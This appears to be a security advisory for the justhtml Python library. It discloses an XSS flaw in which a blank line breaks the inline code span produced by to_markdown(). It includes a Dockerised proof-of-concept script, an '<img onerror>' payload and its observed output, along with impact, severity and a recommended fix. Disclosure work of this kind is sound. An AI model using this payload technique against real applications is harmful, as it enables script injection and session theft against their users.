justhtml: to_markdown() code-span blank-line breakout enables XSS
📋 Description
justhtml: to_markdown() code-span blank-line breakout enables XSS
Summary
In justhtml 0.9.0 through 1.21.0, to_markdown() renders <code> text (and <pre> text inside a link) as an inline Markdown code span whose only protection is backtick-fence length. A blank line (\n\n) in that text terminates the inline span in any compliant Markdown renderer, so attacker-controlled text that survived HTML sanitization is emitted unescaped after the blank line and is re-parsed as live raw HTML/Markdown — yielding XSS in the default configuration. Likely CWE-79 (Cross-site Scripting) arising from CWE-116 (Improper Encoding/Escaping of Output).
Details
to_markdown() is documented as a safety surface. docs/text.md states the guarantee applies "to the HTML produced by rendering that Markdown with a compliant Markdown renderer," and SECURITY.md promises to_markdown() "escapes line-start Markdown markers that could change block structure" and "uses code fences long enough to contain backticks safely."
The inline code-span helper only sizes the backtick fence; it never accounts for block boundaries:
src/justhtml/node.py:32-41 (tag v1.21.0):
def _markdown_code_span(s: str | None) -> str:
if s is None:
s = ""
# Use a backtick fence longer than any run of backticks inside.
fence = _markdown_backtick_fence(s, minimum=1)
# CommonMark requires a space if the content starts/ends with backticks.
needs_space = s.startswith("`") or s.endswith("`")
if needs_space:
return f"{fence} {s} {fence}"
return f"{fence}{s}{fence}"
The element's text is taken verbatim (strip=False, so embedded newlines are preserved) and routed into that helper:
src/justhtml/node.py:1061-1078 (tag v1.21.0):
if tag == "pre":
code = current.to_text(separator="", strip=False)
if current_in_link:
current_builder.raw(_markdown_code_span(code)) # inline path
else:
fence = _markdown_backtick_fence(code, minimum=3) # block path
...
if tag == "code" and not current_preserve:
current_builder.raw(_markdown_code_span(current.to_text(separator="", strip=False)))
A Markdown inline code span is an inline construct and cannot span a block boundary: a blank line ends the paragraph, the opening backticks are left unmatched (literal), and everything after the blank line is parsed as ordinary Markdown — independent of fence length. Because CommonMark passes raw inline HTML through by default, text such as <img src=x onerror=...> becomes a live element.
Reachability with default settings: JustHTML(html) sanitizes by default; <code> and <pre> are in DEFAULT_POLICY.allowed_tags; default sanitization preserves their text and the blank line (whitespace collapsing is opt-in). The payload lives in text, not a URL attribute, so URL-scheme sanitization never applies. The tokenizer decodes character references in normal text before DOM insertion, so <img …> enters the DOM as literal <img …> text while passing HTML sanitization.
Two in-repo asymmetries confirm this is an unguarded path rather than intended behavior:
- Plain text-node content is HTML-escaped before Markdown escaping, so the same
<img …>outside a code span is neutralized to<img …>. Inside a code span it is not escaped — the fence is assumed sufficient. <pre>outside a link uses a block fence (minimum=3, line 1066), which a blank line cannot break. The same<pre>inside a link (line 1064) and all<code>use the inline span, which a blank line breaks.
PoC
Self-contained, runs entirely in Docker against the pinned PyPI release. Static by default: the rendered HTML is parsed to show a live handler-bearing element materializes; no JavaScript is executed on the default path.
Dockerfile:
FROM python:3.11-slim
WORKDIR /poc
RUN pip install --no-cache-dir justhtml==1.21.0 markdown-it-py==4.2.0 \
&& (pip install --no-cache-dir dukpy==0.5.0 || echo "dukpy optional: skipped")
COPY poc.py test.sh /poc/
CMD ["sh", "/poc/test.sh"]
poc.py:
#!/usr/bin/env python3
"""PoC: justhtml to_markdown() inline code-span blank-line breakout -> XSS.
Audited release: justhtml==1.21.0. Static by default (parses the rendered HTML;
no JS executed). --prove-exec is an opt-in, container-only execution check."""
from __future__ import annotations
import argparse
from html.parser import HTMLParser
from justhtml import JustHTML
from markdown_it import MarkdownIt
MARKER = "__POC_XSS_MARKER__"
PAYLOAD_TEXT = f"<img src=x onerror={MARKER}()>"
RENDER = MarkdownIt("commonmark") # raw-HTML passthrough is the CommonMark default
def build_inputs() -> tuple[str, str]:
enc = PAYLOAD_TEXT.replace("<", "<").replace(">", ">")
control = f"<code>q{enc}</code>" # no blank line -> should stay inert
exploit = f"<code>q\n\n{enc}</code>" # + one blank line -> the whole exploit
return control, exploit
def to_markdown(html: str) -> str:
return JustHTML(html, fragment=True).to_markdown() # public API, default sanitize=True
class _SinkFinder(HTMLParser):
def __init__(self) -> None:
super().__init__(); self.sinks: list[tuple[str, str, str]] = []
def handle_starttag(self, tag, attrs):
for name, val in attrs:
if name.startswith("on") and val and MARKER in val:
self.sinks.append((tag, name, val))
def live_sinks(html: str):
f = _SinkFinder(); f.feed(html); return f.sinks
def show(label: str, html: str):
md = to_markdown(html); rendered = RENDER.render(md); sinks = live_sinks(rendered)
print(f"== {label} ==")
print(f" 1. input HTML : {html!r}")
print(f" 2. to_markdown() out : {md!r}")
print(f" 3. CommonMark render : {rendered.strip()!r}")
print(f" 4. live JS sinks : {sinks if sinks else 'NONE (inert)'}\n")
return rendered, sinks
def prove_exec(rendered: str) -> None:
print("== --prove-exec (supplementary, container-only) ==")
sinks = live_sinks(rendered)
if not sinks:
print(" no sink to execute"); return
handler_js = sinks[0][2]
print(f" materialized handler JS: {handler_js!r}")
try:
import dukpy
except Exception:
print(" [skipped] optional 'dukpy' not installed; parse proof is canonical."); return
result = dukpy.evaljs(f"var fired=''; function {MARKER}(){{ fired='XSS-EXECUTED'; }} {handler_js}; fired;")
print(f" JS engine result: {result!r} -> attacker JS executed" if result else " JS did not fire")
def main() -> int:
ap = argparse.ArgumentParser()
ap.add_argument("--prove-exec", action="store_true")
args = ap.parse_args()
control, exploit = build_inputs()
print("Delta between control and exploit: exactly one blank line (\\n\\n).\n")
_, c_sinks = show("CONTROL (payload in <code>, NO blank line)", control)
ex_rendered, e_sinks = show("EXPLOIT (payload in <code>, + blank line)", exploit)
ok = (not c_sinks) and bool(e_sinks)
print("== VERDICT ==")
print(" BYPASS CONFIRMED." if ok else " not reproduced")
if ok:
print(f" Sanitized code text became a LIVE element: {e_sinks[0]}")
print()
if ok and args.prove_exec:
prove_exec(ex_rendered)
return 0 if ok else 1
if __name__ == "__main__":
raise SystemExit(main())
Build and run:
docker build -t justhtml-md-poc ./poc
docker run --rm justhtml-md-poc
Observed output (justhtml 1.21.0, markdown-it-py 4.2.0):
=== Versions under test ===
Name: justhtml
Version: 1.21.0
Name: markdown-it-py
Version: 4.2.0
Delta between control and exploit: exactly one blank line (\n\n)
inserted into otherwise identical <code> text.
== CONTROL (payload in <code>, NO blank line) ==
1. input HTML : '<code>q<img src=x onerror=__POC_XSS_MARKER__()></code>'
2. to_markdown() out : '`q<img src=x onerror=__POC_XSS_MARKER__()>`'
3. CommonMark render : '<p><code>q<img src=x onerror=__POC_XSS_MARKER__()></code></p>'
4. live JS sinks : NONE (inert)
== EXPLOIT (payload in <code>, + blank line) ==
1. input HTML : '<code>q\n\n<img src=x onerror=__POC_XSS_MARKER__()></code>'
2. to_markdown() out : '`q\n\n<img src=x onerror=__POC_XSS_MARKER__()>`'
3. CommonMark render : '<p>`q</p>\n<p><img src=x onerror=__POC_XSS_MARKER__()>`</p>'
4. live JS sinks : [('img', 'onerror', '__POC_XSS_MARKER__()')]
== VERDICT ==
BYPASS CONFIRMED.
The blank line terminated the inline code span; sanitized code
text became a LIVE handler-bearing element: ('img', 'onerror', '__POC_XSS_MARKER__()')
The control (no blank line) stayed inert inside <code>.
The exploit is byte-identical to the inert control plus a single blank line
(\n\n). Deterministic: same input → same result.
Optional execution confirmation (docker run --rm justhtml-md-poc python3 /poc/poc.py --prove-exec)
— supplementary; the parse proof above is canonical. Inert marker only:
== --prove-exec (supplementary, container-only) ==
materialized handler JS: '__POC_XSS_MARKER__()'
JS engine result: 'XSS-EXECUTED' -> attacker JS executed
Impact
This is a cross-site scripting vulnerability (CWE-79). It affects any application that follows the documented pipeline: sanitize untrusted HTML with JustHTML(...) under default settings, call to_markdown(), and render the result with a CommonMark-compliant renderer (raw-HTML passthrough is the CommonMark default).
An attacker only needs to control HTML text inside a <code> element, or a <pre> element within a link — no custom policy and no sanitize=False. Any user who then views the rendered page executes attacker-controlled script in their own origin, enabling cookie/session theft or actions performed as the victim.
Severity: CVSS 3.1 6.1 (Moderate),
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N. Scope is Changed: the injected script runs in the origin of the page that renders the Markdown, a different security authority than the library that produced it.
Recommended fix
Do not represent text containing a block boundary as an inline code span. In _markdown_code_span / the <code> and in-link <pre> dispatch (src/justhtml/node.py:1061-1078), if the content contains a blank line (or any \n), emit it as a fenced code block — reusing the existing block path at lines 1066-1074, whose fence is not broken by blank lines — or collapse newlines in inline-code content. As defense-in-depth, escape HTML/Markdown-significant characters in code-span bodies rather than relying on fence length alone, matching the existing text-node escaping already applied elsewhere.
Resources
- CWE-79 — https://cwe.mitre.org/data/definitions/79.html
- CWE-116 — https://cwe.mitre.org/data/definitions/116.html
- Affected source (tag
v1.21.0):src/justhtml/node.py:32-41(_markdown_code_span),src/justhtml/node.py:1061-1078(<pre>/<code>dispatch). - CommonMark spec — code spans are inline and cannot contain a blank line; raw HTML is passed through by default: https://spec.commonmark.org/0.31.2/#code-spans
- Novelty: same vulnerability class as two prior, already-fixed
to_markdown()advisories but a distinct, still-unfixed variant. The earlier fixes address (a) HTML-escaping of plain text nodes and (b) backtick-fence length for<pre>code blocks. Neither addresses a blank-line break of an inline code span: fence length is irrelevant to a block-boundary break, and code-span bodies are not HTML-escaped. The cited dispatch and helper are unchanged atv1.21.0, andorigin/main == v1.21.0(no embargoed fix).
🎯 Affected products1
- pip/justhtml:>= 0.9.0, <= 1.21.0